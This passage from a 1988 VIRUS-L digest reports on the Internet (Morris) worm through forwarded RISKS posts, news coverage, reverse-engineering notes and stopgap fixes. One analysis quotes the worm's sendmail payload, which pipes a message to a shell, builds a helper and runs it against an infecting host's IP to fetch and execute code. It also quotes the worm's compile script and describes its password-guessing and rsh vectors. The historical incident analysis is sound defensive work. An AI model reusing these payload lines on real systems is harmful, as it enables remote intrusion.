server and log that with syslog as well, so we get stuff like this:

  Nov  3 18:10:12 rand-unix rsh[4311]: external address detected port=2,fam=1008
  Nov  3 18:10:43 rand-unix sendmail[4328]: AA04328: DEBUG set from: SM.UNISYS.C
  Nov  3 18:43:08 rand-unix rsh[5106]: external address detected port=2,fam=1021
  Nov  3 18:43:41 rand-unix sendmail[5126]: AA05126: DEBUG set from: XN.LL.MIT.E
  Nov  3 18:55:59 rand-unix rsh[5377]: external address detected port=2,fam=991,
  Nov  3 18:57:18 rand-unix sendmail[5421]: AA05421: DEBUG set from: XN.LL.MIT.E
  Nov  3 19:03:56 rand-unix rsh[5652]: external address detected port=2,fam=1015
  Nov  3 19:29:34 rand-unix rsh[6725]: external address detected port=2,fam=1003
  Nov  3 19:48:14 rand-unix rsh[7592]: external address detected port=2,fam=996,
  Nov  3 19:48:46 rand-unix sendmail[7614]: AA07614: DEBUG set from: SM.UNISYS.C
  Nov  3 19:55:50 rand-unix rsh[7698]: external address detected port=2,fam=1018
  Nov  3 19:56:25 rand-unix sendmail[7712]: AA07712: DEBUG set from: UXC.CSO.UIU

So that's the scoop, so far. Of course by the time this makes it out to
the tcp-ip list this will be old news, eh? :-) Now to tear apart the
fake "sh"..... Ciao!

--
* Isaac J. Salzman                                            ----
* The RAND Corporation - Information Sciences Dept.          /o o/  /
* 1700 Main St., PO Box 2138, Santa Monica, CA 90406-2138    | v |  |
* AT&T: [phone] x6421 or x7923 (ISL lab)            _|   |_/
* ARPA: [e-mail] or [e-mail]         / |   |
* UUCP: ...!$cbosgd,decvax,sdcrdcf!randvax!salzman        | |   |


=========================================================================
Date:         Fri, 4 Nov 88 15:39:09 EDT
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Scott Earley <SCOTT@BITNIC>
Subject:      Computer Virus

BITNIC put this together and sent it to several lists.  Since the
topic is obviously germane here, I wanted to ensure your readers
of a timely posting.

   COMPUTER VIRUS
                 --from Internet and BITNET sources

The computer virus that is receiving national coverage can not
infect VM, MVS, or VMS BITNET hosts, because the virus is
dependent on specifics of the UNIX environment*.

Presently, it is our understanding that UNIX machines cannot be
infected through BITNET.  A UNIX machine that is also connected
to the Internet could be infected through its TCP/IP connection
via the SENDMAIL daemon--a Mail Transfer Agent in UNIX.

The virus is infecting SUN 3s and VAX Systems running UNIX BSD
derivatives.  This disruptive virus appears to be starting up
processes that result in a system bog-down.

There is discussion and a vaccine available on UNIX NETNEWS in
newsgroup comp.bugs.4bsd.ucb-fixes and in news.announce.important.

    *UNIX-like machines represent twelve percent of BITNET
     nodes in the United States.


UNIX is a trademark of AT&T.
=========================================================================
Date:         Fri, 4 Nov 88 21:04:07 GMT
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         [e-mail]
Subject:      Virus attack

I guess this latest virus attack must have been quite serious because
it even got on British television even though there were no reports of
affected machines over here (yet).
It goes to show that computers anywhere in the world could be caught
by this sort of program though.
=========================================================================
Date:         Fri, 4 Nov 88 13:19:27 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Adam <ALEWIS@UTCVM>
Subject:      Re: Latest Virus in the News
In-Reply-To:  Message of Fri, 4 Nov 88 11:36:03 EST from <MAIL@UCONNVM>

>Has anyone heard about the current virus in the news?  Specifically,
>is it a virus designed for VM/CMS systems?
>
>John Hammond (Techrep)
>University Computer Center
>University of Connecticut


     The latest information that I've seen in postings in the net say
that the current virus making the rounds is limited to 4.3 BSD Unix
systems connected to ARPANet/MILNet.
     The preliminary discussion seems to imply that the virus uses
debugging code in the BSD sendmail program to open a TCP connection
to a target machine,  copys a helper program to the target,  compiles
this helper on the target, and then moves the object code for the
virus on the target machine.
     What occurs then is not very clear but it starts spawning
processes that bring the newly infected machine to its knees while
tring to spread itself through the rest of the net.
     It seems to be a rather nasty species of bug.  If anybody else
has more current information, please let us nervous Unix system
administrators know.
----------------------------------------------
Adam Lewis
CECA
University of Tennessee, Chattanooga
----------------------------------------------
=========================================================================
Date:         Fri, 4 Nov 88 15:52:00 EDT
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Savior faire is everywhere! <SSIRCAR@UMAECS>
Subject:      Internet Virus

Can someone tell me how far the Internet Virus has spread?  I don't remember
seeing an article on computer viruses ever making the front page of the
Boston Globe.

                                -Santanu
=========================================================================
Date:         Fri, 4 Nov 88 16:08:23 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Ed Nilges <EGNILGES@PUCC>
Subject:      Re: Internet Virus

Don't blame debugging hooks in operational SENDMAIL copies for this
virus!  The problem was debugging code that allowed you to submit
very privileged commands, not debugging code per se.

Which is not to say that debugging code (like any other code) can't
change the meaning of a baseline release.
=========================================================================
Date:         Fri, 4 Nov 88 14:01:49 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         woody <MAWEAVE@INDST>
Subject:      info from RISKS on milnet virus

This is forwarded from RISKS digest -- they have several articles on the
recent virus, as well as fixes and the complete(?) story of its genesis.
                                               -- woody


RISKS-LIST: RISKS-FORUM Digest  Thursday 3 November 1988   Volume 7 : Issue 69

        FORUM ON RISKS TO THE PUBLIC IN COMPUTERS AND RELATED SYSTEMS
   ACM Committee on Computers and Public Policy, Peter G. Neumann, moderator

Contents:
  Virus on the Arpanet - Milnet (Cliff Stoll)
  More on the virus (Gene Spafford, PGN, Matt Bishop)
  A320 update (Robert Dorset via Steve Philipson)
  Re: Conspiracy to Defraud (Dan Franklin)
  Re: Telephone answering machines (Vince Manis)

The RISKS Forum is moderated.  Contributions should be relevant, sound, in good
taste, objective, coherent, concise, and nonrepetitious.  Diversity is welcome.
CONTRIBUTIONS to [e-mail], with relevant, substantive "Subject:" line
(otherwise they may be ignored).  REQUESTS to [e-mail].
FOR VOL i ISSUE j / ftp kl.sri.com / login anonymous (ANY NONNULL PASSWORD) /
  get stripe:<risks>risks-i.j ... (OR TRY cd stripe:<risks> / get risks-i.j ...
  Volume summaries in (i, max j) = (1,46),(2,57),(3,92),(4,97),(5,85),(6,95).

----------------------------------------------------------------------

Date:  Thu, 3 Nov 88 06:46 EST
From: [e-mail]
Subject:  Virus on the Arpanet - Milnet

Re Arpanet "Sendmail" Virus attack November 3, 1988

Hi Gang!

It's now 3:45 AM on Wednesday 3 November 1988.  I'm tired, so don't believe
everything that follows...

Apparently, there is a massive attack on Unix systems going on right now.

I have spoken to systems managers at several computers, on both the east
& west coast, and I suspect this may be a system wide problem.

Symptom:  hundreds or thousands of jobs start running on a Unix system
bringing response to zero.

Systems attacked:  Unix systems, 4.3BSD unix & variants (eg:  SUNs) any
sendmail compiled with debug has this problem.  See below.

This virus is spreading very quickly over the Milnet.  Within the past 4
hours, I have evidence that it has hit >10 sites across the country,
both Arpanet and Milnet sites.  I suspect that well over 50 sites have
been hit.  Most of these are "major" sites and gateways.


Method:

Apparently, someone has written a program that uses a hole in SMTP
Sendmail utility.  This utility can send a message into another program.

Step 1:  from a distant Milnet host, a message is sent to Sendmail
       to fire up SED, (SED is an editor)  This is possible in certain
       versions of sendmail (see below).

2:  A 99 line C program is sent to SED through Sendmail.

3:  The distant computer sends a command to compile this C program.

4:  Several object files are copied into the Unix computer.
        There are 3 files:  one targeted to Sun
                            one targeted to SUN-3
                            one targeted to vax    (ultrix probably, not vms)

5:  The C program accepts as address other Milnet sites

6:  Apparently, program scans for other Milnet/arpanet addresses and
     repeats this process.



The bug in Sendmail:

When the Unix 4.3 BSD version of Sendmail is compiled with the Debug
option, there's a hole in it.

Most Unix systems (BSD 4.3 and Suns) apparently do not have this bug.
It exists only where the system manager recompiled Sendmail and enabled
debugging.


This is bad news.

  Cliff Stoll dockmaster.arpa

------------------------------

Date: Thu, 03 Nov 88 09:52:18 EST
From: Gene Spafford <[e-mail]>
Subject: More on the virus
Organization: SERC, Department of Computer Sciences, Purdue Univ.

All of our Vaxen and some of our Suns here were infected with the virus.  The
virus forks repeated copies of itself as it tries to spread itself, and the
load averages on the infected machines skyrocketed.  In fact, it got to the
point that some of the machines ran out of swap space and kernel table entries,
preventing login to even see what was going on!

The virus seems to consist of two parts.  I managed to grab the source code for
one part, but not the main component (the virus cleans up after itself so as
not to leave evidence).  The way that it works is as follows:

1) Virus running on an infected machine opens a TCP connection to a
victim machine's sendmail, invokes debug mode, and gets a shell.

2) The shell creates a file in /tmp named $$,l1.c (where the $$ gets replaced

by the current process id) and copies code for a "listener" or "helper"
program.  This is just a few dozen lines long and fairly generic code.  The
shell compiles this helper using the "cc" command local to the system.

3) The helper is invoked with arguments pointing back at the infecting
virus (giving hostid/socket/passwords as arguments).

4) The helper then connects to the "server" and copies a number of files
(presumably to /tmp).  After the files are copied, it exec's a shell with
standard input coming from the infecting virus program on the other end of the
socket.

From here, I speculate on what happens since I can't find the source to
this part lying around on our machines:

5) The newly exec'd shell attempts to compile itself from the files copied over
to the target machine.  I'm not sure what else the virus does, if anything --
it may also be attempting to add a bogus passwd file entry or do something to
the file system.  The helper program has an array of 20 filenames for the
"helper" to copy over, so there is room to spare.  There are two versions
copied -- a version for Vax BSD and a version for SunOS; the appropriate one is
compiled.

6) The new virus is dispatched.  This virus opens all the virus source
files, then unlinks the files so they can't be found (since it has them
open, however, it can still access the contents).  Next, the virus
steps through the hosts file (on the Sun, it uses YP to step through
the distributed hosts file) trying to connect to other machines'
sendmail.  If a connection succeeds, it forks a child process to infect
it, while the parent continues to attempt infection of other machines.

7) The child requests and initializes a new socket, then builds and invokes a
listener with the new socket number and hostid as arguments (#1, above).

The heavy load we see is the result of multiple viruses coming in from multiple
sites.  Since local hosts files tend to have entries for other local hosts, the
virus tends to infect local machines multiple times -- in some senses this is
lucky since it helps prevent the spread of the virus as the local machines slow
down.

The virus also "cleans" up after itself.  If you reboot an infected machine (or
it crashes), the /tmp directory is normally cleaned up on reboot.  The other
incriminating files were already deleted by the virus itself.

Clever, nasty, and definitely anti-social.

--spaf

------------------------------

Date: Thu, 3 Nov 1988 14:27:22 PDT
From: Peter Neumann <[e-mail]>
Subject: More on the virus attack

Remember that the above are preliminary messages relating to an event in
progress.  There seem to be many unanswered questions.  Perhaps someone will
contribute a definitive report to the next issue of RISKS.

Examination of the code suggests a fairly sophisticated person writing
relatively high quality (although undocumented) code, exploiting several flaws
that exist(ed) on many UNIX systems, and written with considerable good
practice in self-checking, reliability, etc.  From the evidence thus far, I
would guess it that this was a deliberate attack, not an accidental experiment
run astray.

Although it was primarily a denial of service attack, it did some remarkable
things, taking advantage of many different approaches.  The spawned
processes appear to have been doing attacks on encrypted passwords to enable
ftps (in case the .rhost attack would not work -- cf. the Stanford breakins
described in CACM and SEN by Brian Reid).  Separate versions to run on Suns
and Vaxens were apparently propagated in DES encrypted form, decrypted, and
both programs tried to see which one would work.

We quoted Henry Petroski here over a year ago to the effect that we do not
learn from our successes, but that we have an opportunity to learn from our
failures.  Once again we are presented with the opportunity to learn that many
of our computer systems have serious security vulnerabilities, and that we need
to take pains to defend against the really malicious attacks.  Strangely some
people take heart in the fact that the security attacks to date (whether
penetrations, exploitations of privilege, Trojan horses, or legitimate viruses)
have been relatively modest in scale, perhaps to justify the absence of
concern.  I am afraid that it will take a Chernobyl- or Three-Mile-Island-like
disaster before the community at large wakes up.  PGN

------------------------------

Date: Thu, 3 Nov 88 16:32:25 EST
From: [e-mail] (Matt Bishop)
Subject: More on the virus

...  This program introduced itself through a bug in sendmail.  At these sites,
sendmail was compiled and installed with a debugging option turned on.  As near
as I can figure (I don't have access to the sendmail sources), by giving a
specific option to the "debug" command in sendmail (there are lots of those,
controlling what exactly you get information about) you can cause it to execute
a command.  As sendmail runs setuid to root, guess what privileges the command
is executed with.  Right.
   Apparently what the attacker did was this:  he or she connected to sendmail
(ie, telnet victim.machine 25), issued the appropriate debug command, and had
a small C program compiled.  (We have it.  Big deal.)  This program took
as an argument a host number, and copied two programs -- one ending in
q.vax.o and the other ending in .sun.o -- and tried to load and execute them.
In those cases where the load and execution succeeded, the worm did two things
(at least):  spawn a lot of shells that did nothing but clog the process table
and burn CPU cycles; look in two places -- the password file and the internet
services file -- for other sites it could connect to (this is hearsay, but I
don't doubt it for a minute.)  It used both individual .rhost files (which it
found using the password file), and any other remote hosts it could locate
which it had a chance of connecting to.  It may have done more; one of our
machines had a changed superuser password, but because of other factors we're
not sure this worm did it.
   This last part is still sketchy; I have the relevant sun.o file and will
take it apart to see just what it was supposed to do.  As of now, it appears
there was no serious damage (just wasted CPU cycles and system administrator
time).
   Two obvious points:
1.  Whoever did this picked only on suns and vaxen.  One site with a lot
    of IRISes and two Crays (ie, NASA Ames) got bit on their Suns and Vaxen,
    but the attempt to get the other machines didn't work.
2.  This shows the sorry state of software and security in the UNIX world.
    People should NEVER put a program with debugging hooks in it, especially
    when the hook is (or can be made) to execute an arbitrary command.  But
    that is how the sendmail which was used was distributed!
   One more interesting point:  initially, I thought an application of the
"principle of least privilege" would have prevented this penetration.  But
the attacker used a world-writeable directory to squirrel the relevant programs
in, so -- in effect -- everything could have been done by any user on the
system!  (Except the superuser password change, of course -- if this worm
did in fact do it.)
   I think the only way to prevent such an attack would have been to turn
off the deug option on sendmail; then the penetration would fail.  It goes to
show that if the computer is not secure (and like you, I don't believe there
ever will be such a beastie), there is simply no way to prevent a virus (or,
in this case, a worm) from getting into that system.
   I know this is somewhat sketchy, flabby, and fuzzy, but it's all I know
so far.  I'll keep you posted on developments ...

Matt

------------------------------
...

RISKS-LIST: RISKS-FORUM Digest  Thursday 3 November 1988   Volume 7 : Issue 70

        FORUM ON RISKS TO THE PUBLIC IN COMPUTERS AND RELATED SYSTEMS
   ACM Committee on Computers and Public Policy, Peter G. Neumann, moderator

Contents:
  Updated worm report (Gene Spafford)
  A worm "condom" (Gene Spafford)
  A cure!!!!! (Gene Spafford)
  Computer Network Disrupted by `Virus' (John Markoff via Geoff Goodfellow)
  "Annals of Democracy -- Counting Votes" in the New Yorker (Daniel B Dobkin)
  Comments on the New Yorker article (PGN)

The RISKS Forum is moderated.  Contributions should be relevant, sound, in good
taste, objective, coherent, concise, and nonrepetitious.  Diversity is welcome.
CONTRIBUTIONS to [e-mail], with relevant, substantive "Subject:" line
(otherwise they may be ignored).  REQUESTS to [e-mail].
FOR VOL i ISSUE j / ftp kl.sri.com / login anonymous (ANY NONNULL PASSWORD) /
  get stripe:<risks>risks-i.j ... (OR TRY cd stripe:<risks> / get risks-i.j ...
  Volume summaries in (i, max j) = (1,46),(2,57),(3,92),(4,97),(5,85),(6,95).

----------------------------------------------------------------------

Date: Fri, 04 Nov 88 00:27:54 EST
From: Gene Spafford <[e-mail]>
Subject: Updated worm report
Organization: SERC, Department of Computer Sciences, Purdue Univ.

This is an updated description of how the worm works (note: it is
technically a worm, not a virus, since it does not attach itself
to other code {that we know about}):

All of our Vaxen and some of our Suns here were infected with the worm.  The
worm forks repeated copies of itself as it tries to spread itself, and the load
averages on the infected machines skyrocketed.  In fact, it got to the point
that some of the machines ran out of swap space and kernel table entries,
preventing login to even see what was going on!

The worm seems to consist of two parts.  The way that it works is as
follows:

1) Virus running on an infected machine opens a TCP connection to a
victim machine's sendmail, invokes debug mode, and submits a version
of itself as a mail message.
*OR* it uses rsh to create itself on the remote machine through
an account requiring no password (due to hosts.equiv or .rhosts
entries).  *OR* it gets in via a bug in fingerd *OR* it uses telnet
(more on this later).

Using the sendmail route, it does something like:
From: /dev/null
To: "|sed -e 1,/^$/d | sh; exit 0"

cd /usr/tmp
cat > x14481910.c <<'EOF'
<text of program deleted?
EOF
cc -o x14481910 x14481910.c;x14481910 128.10.2.215 32341 8712440;rm -f x14481910
 x14481910.c


2) This program is a simple "listener" or "helper" program of about a hundred
lines of fairly simple code.  As you can see, the helper is invoked with
arguments pointing back at the infecting worm (giving hostid/socket/checksum(?)
as arguments).

3) The helper then connects to the "server" and copies a number of files
(presumably to /tmp).  After the files are copied, it exec's a shell with
standard input coming from the infecting worm program on the other end of the
socket.

From here, I speculate on what happens since I can't find the source to
this part lying around on our machines:

4) The newly exec'd shell attempts to compile itself from the files copied over
to the target machine.  The command file it uses is as follows:

PATH=/bin:/usr/bin:/usr/ucb
rm -f sh
if [ -f sh ]
then
P=x%d
else
P=sh
cc -o $P %s
/bin/echo %s
./$P -p $$

5) This creates and dispatches the new worm..  This worm opens all the worm
source files, then unlinks the files so they can't be found (since it has them
open, however, it can still access the contents).  Next, the worm steps through
the hosts file (on the Sun, it uses YP to step through the distributed hosts
file) trying to connect to other machines' sendmail.  If a connection succeeds,
it forks a child process to infect it, while the parent continues to attempt
infection of other machines.

6) The child requests and initializes a new socket, then builds and invokes a
listener with the new socket number and hostid as arguments (#1, above).


Other notes:

The worm runs in stages.  It first collects info from the /etc/hosts files, the
hosts.equiv file, and other files containing host names and host IP addresses.
It even runs netstat to find out what networks the machine is attached to! It
uses this information to attempt to penetrate sendmail on those machines.  It
also knows how to penetrate "fingerd" on Vaxen (on Suns, the attempt results in
a core dump).  I will privately tell individuals how to fix the bug in fingerd,
but for now change it so it does not run as "root".

After this first stage, it appears to sleep for a while.  Then it starts
collecting user names and it begins probing with "rsh".  It also tries to
attack the passwords by trying a set of built-in words, the contents of
/usr/dict, and words snarfed from system files.  If it succeeds in breaking a
local password, it forks a child to use telnet to break into that account and
copy itself.

As I write this, no one seems to know what it is supposed to eventually do.
Perhaps it just breaks in everywhere it can.  We do know that if it doesn't
break into any accounts or systems for a while, it enters a mode where it tries
to break the root password via brute force searching.  We suspect that if it
succeeds it then does very nasty things.

Other notes:

The program corrupts its argument vector, so it appears in a "ps ax" as "(sh)"
(a login shell).  Don't trust any of these if you have them running.

The program doesn't copy around source files (except the helper) -- it copies
around pre-compiled binaries that are linked on the local machine and then run.
The worm appears to only be carrying binaries for 68020-based Suns and Vax 7xx
and 8800 machines.  Pyramids, Sun 2's and Sequents are all definitely immune.
(Note: an infected 8800 is an awesome engine of contagion.)

The strings in the binaries are encrypted against a random "strings"
invocation.  If you have a binary, Keith Bostic informs me that Xor with 0x81
will reveal interesting things, although that is not the only mask used.

The first observation of the virus I have heard about was 6pm Wednesday night
in Pittsburgh.  It didn't hit Purdue until about 4 this morning.  We were lucky
in that other sites, like CMU and Princeton, were hit around 11 last night.


Acknowledgements:  Some of the above information was obtained from
Brian Kantor (UCSD), Keith Bostic (UCB), Thomas Narten (Purdue), Dan
Trinkle (Purdue), Kevin Braunsdorf (Purdue) and Miek Rowan (Purdue).
Thanks, guys.

------------------------------

Date: Thu, 03 Nov 88 21:20:10 EST
From: Gene Spafford <[e-mail]>
Subject: A worm "condom"
Organization: SERC, Department of Computer Sciences, Purdue Univ.

... Kevin Braunsdorf & Rich Kulawiec (Purdue-CC) have come up with a "condom"
to protect your machine against the CURRENT worm.  They are not 100% sure it
works, but it seems to be completely effective and it can't do any harm.  As
ROOT, do:

mkdir /usr/tmp/sh
chmod 111 /usr/tmp/sh

Then edit your rc.local file to recreate the directory in case of a reboot.
This will not stop a current infection, but it will prevent any new ones
from taking hold -- it prevents the worm from creating replicas.

... --spaf

------------------------------

Date: Thu, 03 Nov 88 22:04:15 EST
From: Gene Spafford <[e-mail]>
Subject: A cure!!!!!
Organization: SERC, Department of Computer Sciences, Purdue Univ.

FLASH!!

Kevin ("Adb's your friend.") Braunsdorf just burst into my office
with a cure discovered in the disassembled worm binary.

If there is an external variable in the library named "pleasequit" that is
non-zero, the worm will die immediately after exiting.  Thus, to kill any new
worms, include a patch in your library that defines the symbol.  The following
shell file and source code will modify your C library to define this symbol.

It WON'T kill any currently linked and running versions, but it will
prevent reinfection.


# Shar archive.  Give the following as input to /bin/sh
#  Packed Thu Nov  3 21:56:35 EST 1988 by [e-mail]
#
#  This archive contains:
#    foo.sh
#    foo.c
#
#
echo x - foo.sh
sed 's/^X//' >foo.sh <<'*-*-END-of-foo.sh-*-*'
Xcc -c foo.c -o foo.o
Xcp /lib/libc.a /lib/libc.a.old
Xar q /lib/libc.a foo.o
Xranlib /lib/libc.a
*-*-END-of-foo.sh-*-*
echo x - foo.c
sed 's/^X//' >foo.c <<'*-*-END-of-foo.c-*-*'
Xextern int pleasequit = -1;
*-*-END-of-foo.c-*-*
exit

------------------------------

Date: Thu, 3 Nov 88 21:30:19 PST
From: [e-mail] (the tty of Geoff Goodfellow)
Subject: Computer Network Disrupted by `Virus'

COMPUTER NETWORK DISRUPTED BY `VIRUS'
By JOHN MARKOFF=
c.1988 N.Y. Times News Service=

       In an intrusion that raises new questions about the
vulnerability of the nation's computers, a nationwide Department of
Defense data network has been disrupted since Wednesday night by a
rapidly spreading ``virus'' software program apparently introduced
by a computer science student's malicious experiment.
       The program reproduced itself through the computer network,
making hundreds of copies in each machine it reached, effectively
clogging systems linking thousands of military, corporate and
university computers around the country and preventing them from
doing additional work. The virus is thought not to have destroyed
any files.
       By late Thursday afternoon computer security experts were
calling the virus the largest assault ever on the nation's
computers.
       ``The big issue is that a relatively benign software program can
virtually bring our computing community to its knees and keep it
there for some time,'' said Chuck Cole, deputy computer security
manager at Lawerence Livermore Laboratory in Livermore, Calif., one
of the sites affected by the intrusion. ``The cost is going to be
staggering.''
       Clifford Stoll,^ @a computer security expert at Harvard
University, added: ``There is not one system manager who is not
tearing his hair out. It's causing enormous headaches.''
       The affected computers carry routine communications among
military officials, researchers and corporations.
       While some sensitive military data are involved, the nation's
most sensitive secret information, such as that on the control of
nuclear weapons, is thought not to have been touched by the virus.
       Computer viruses are so named because they parallel in the
computer world the behavior of biological viruses. A virus is a
program, or a set of instructions to a computer, that is
deliberately planted on a floppy disk meant to be used with the
computer or introduced when the computer is communicating over
telephone lines or data networks with other computers.
       The programs can copy themselves into the computer's master
software, or operating system, usually without calling any
attention to themselves. From there, the program can be passed to
additional computers.
       Depending upon the intent of the software's creator, the program
might cause a provocative but otherwise harmless message to appear
on the computer's screen. Or it could systematically destroy data
in the computer's memory.
       The virus program was apparently the result of an experiment by
a computer science graduate student trying to sneak what he thought
was a harmless virus into the Arpanet computer network, which is
used by universities, military contractors and the Pentagon, where
the software program would remain undetected.
     A man who said he was an associate of the student said in a telephone
call to The New York Times that the experiment went awry because of a small
programming mistake that caused the virus to multiply around the military
network hundreds of times faster than had been planned.
       The caller, who refused to identify himself or the programmer,
said the student realized his error shortly after letting the
program loose and that he was now terrified of the consequences.
       A spokesman at the Pentagon's Defense Communications Agency,
which has set up an emergency center to deal with the problem, said
the caller's story was a ``plausible explanation of the events.''
       As the virus spread Wednesday night, computer experts began a
huge struggle to eradicate the invader.
       A spokesman for the Defense Communications Agency in Washington
acknowledged the attack, saying, ``A virus has been identified in
several host computers attached to the Arpanet and the unclassified
portion of the defense data network known as the Milnet.''
       He said that corrections to the security flaws exploited by the
virus are now being developed.
       The Arpanet data communications network was established in 1969
and is designed to permit computer researchers to share electronic
messages, programs and data such as project information, budget
projections and research results.
       In 1983 the network was split and the second network, called
Milnet, was reserved for higher-security military communications.
But Milnet is thought not to handle the most classified military
information, including data related to the control of nuclear
weapons.
       The Arpanet and Milnet networks are connected to hundreds of
civilian networks that link computers around the globe.
       There were reports of the virus at hundreds of locations on both
coasts, including, on the East Coast, computers at the
Massachusetts Institute of Technology, Harvard University, the
Naval Research Laboratory in Maryland and the University of
Maryland and, on the West Coast, NASA's Ames Research Center in
Mountain View, Calif.; Lawrence Livermore Laboratories; Stanford
University; SRI International in Menlo Park, Calif.; the University
of California's Berkeley and San Diego campuses and the Naval Ocean
Systems Command in San Diego.
       A spokesman at the Naval Ocean Systems Command said that its
computer systems had been attacked Wednesday evening and that the
virus had disabled many of the systems by overloading them. He said
that computer programs at the facility were still working on the
problem more than 19 hours after the original incident.
       The unidentified caller said the Arpanet virus was intended
simply to ``live'' secretly in the Arpanet network by slowly
copying itself from computer to computer. However, because the
designer did not completely understand how the network worked, it
quickly copied itself thousands of times from machine to machine.
     Computer experts who disassembled the program said that it was written
with remarkable skill and that it exploited three security flaws in the Arpanet
network.  [No. Actually UNIX] The virus' design included a program designed to
steal passwords, then masquerade as a legitimate user to copy itself to a
remote machine.
       Computer security experts said that the episode illustrated the
vulnerability of computer systems and that incidents like this
could be expected to happen repeatedly if awareness about computer
security risks was not heightened.
       ``This was an accident waiting to happen; we deserved it,'' said
Geoffrey Goodfellow,''(*) president of Anterior Technology Inc. and an
expert on computer communications.
       ``We needed something like this to bring us to our senses. We
have not been paying much attention to protecting ourselves.''
       Peter Neumann, a computer security expert at SRI International
Inc. in Menlo Park International, said: ``Thus far the disasters we
have known have been relatively minor. The potential for rather
extraordinary destruction is rather substantial.
     ``In most of the cases we know of, the damage has been immediately
evident. But if you contemplate the effects of hidden programs, you could
have attacks going on and you might never know it.''

  [* Following is Geoff's full quote ("exploitation"), which John only
  partially integrated with Geoff's earlier off-the-cuff comment ("accident"):

    "This was an exploitation wanting to happen.  We deserved it.  We needed
    something like this to bring us to our senses.  We have not been paying
    much attention to protecting ourselves.  The blame does not rest on the R&D
    community as a whole.  Look how many manufacturers [...] just took the
    original computer-science-department developed code willy-nilly, put their
    wrapper and corporate logo on it, and resold it to customers.  That's the
    real travesty here, we build these systems, OK, that's great, but we rarely
    build them and then ask how they might be abused, broken, or circumvented"
    {and then try to break them}.   ]

------------------------------

...
=========================================================================
Date:         Sat, 5 Nov 88 00:31:55 GMT
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         [e-mail]
Subject:      VMS/VAX

HAVE ANY VIRUSES BEEN DISCOVERED ON VMS/VAX?

REGARDS BOB (UK)
UK.AC.KCL.CC.ELM
=========================================================================
Date:         Fri, 4 Nov 88 21:12:27 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Joe Sieczkowski <[e-mail]>
Subject:      RE: Internet Worm


I'd like to remind everyone to always read and evaluate the
"fixes" they apply.  One of the best ways to spread a malicious
program is to present it as a security patch.  Not that this
has happened during this particular incident, but it could especially
considering fixes are forwarded from a to b to c...etc.

Always make sure you understand the problem, and understand the patch
being applied.  Apply the patch to the source if possible.  Be
especially wary of binary patches since they are particularly
difficult to examine without disassembling a good portion of the
executable.

Good Luck,


  [e-mail]         Joe Sieczkowski
  [e-mail]                     AI Lab, CSEE Department
  [e-mail]                     Lehigh University
                                         Packard Laboratory #19
                                         Bethlehem, PA 18015


=========================================================================
Date:         Fri, 4 Nov 88 21:52:58 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         "Mark W. Eichin" <[e-mail]>
Subject:      Internet Virus

A team at MIT and a team at UCB worked Thursday evening through until
Friday morning both examining the Virus in isolation and reverse
engineering to create C code that could produce the binary output we
had in hand.

MIT had a Press Conference at 12Noon Friday, 4 November; about 20
minutes earlier, we had determined that with the modules we had
received from Berkeley and the work we had done at MIT we indeed had a
complete knowledge of the inner workings of the Virus, permitting us
to declare that there was no code in the virus designed to harm files.

The Berkeley group was lead by Keith Bostic (I don't have details on
his group); the MIT group was a collection of programmers from various
organizations including Project Athena, LCS, SIPB, and Telecom. Stan
Zanarotti and I led a group of around 6 in the reverse engineering
effort, while others worked on using Netwatch on an isolated testbed
machine.

The Virus uses three possible paths to transmit itself from one
machine to another:
    1) finger (via a bug in /etc/fingerd which turned out to be
difficult for the Virus to exploit)
    2) sendmail (via the `debug' command, which should be turned
off in a production server, but apparently was turned on by default in
the binary BSD distribution)
    3) password guessing and shell/rexec/rsh/telnet logins.

Whichever method used, it attempted to run a /bin/sh on the remote
machine, and then feed it a set of commands which caused it to build a
new program and suck over an unlinked VAX or Sun image. It then linked
this with the system's local libraries, and executed it.

Once the virus was running on the new site, it chose a variety of
paths to find new hosts to propogate to:
    1) routing tables
    2) interface tables
    3) user .forward files
    4) user .rhosts files
    5) /etc/hosts.equi

Note that it did *not* make any use of the inherent security problems
commonly involved with .rhosts files, it merely used them as a source
of hostnames.

[I'll cut this short now, I need the sleep...]

Project Athena was not vulnerable to the finger attack at all; one or
two private machines were vulnerable to the `debug' attack, but at
least one was an IBM RT/PC (which the Virus could `live' on.) What did
hit several Athena machines was the use of password guessing; this is
really more of a Human Security problem than a Computer Security
problem. Other MIT machines were hit by various combinations of the
several attacks.

There were several bugs in the Virus itself, which Keith Bostic
suggested posting patches for. It also seems clear that the original
design did not intend for it to hog resources as it did, but merely to
propagate quietly, which would have certainly been interesting.

Very little effort was made to actually hide the behavior of the code
(it even had a reasonably large symbol table, making it easier to
identify subroutines.) It *did* attempt to hide at a higher level, for
example by calling itself "sh" and destroying its argument list (to
make it appear in the process table as ``some random shell script'').

I will try and post more details as I have time to write them up.

                Mark Eichin
            <[e-mail]>
        SIPB Member & Project Athena ``Watchmaker''

=========================================================================
Date:         Fri, 4 Nov 88 15:33:00 CST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Ken  De Cruyenaere   204-474-8340 <KDC@UOFMCC>
Subject:      Latest VIRUS to make the news

This "virus" has been a hot topic of the news media today.
Surprised that no discussion has reached this list yet.
The following is from RISKS digest received this morning:
----------------------------------------------------------------------

Date:  Thu, 3 Nov 88 06:46 EST
From: [e-mail]
Subject:  Virus on the Arpanet - Milnet

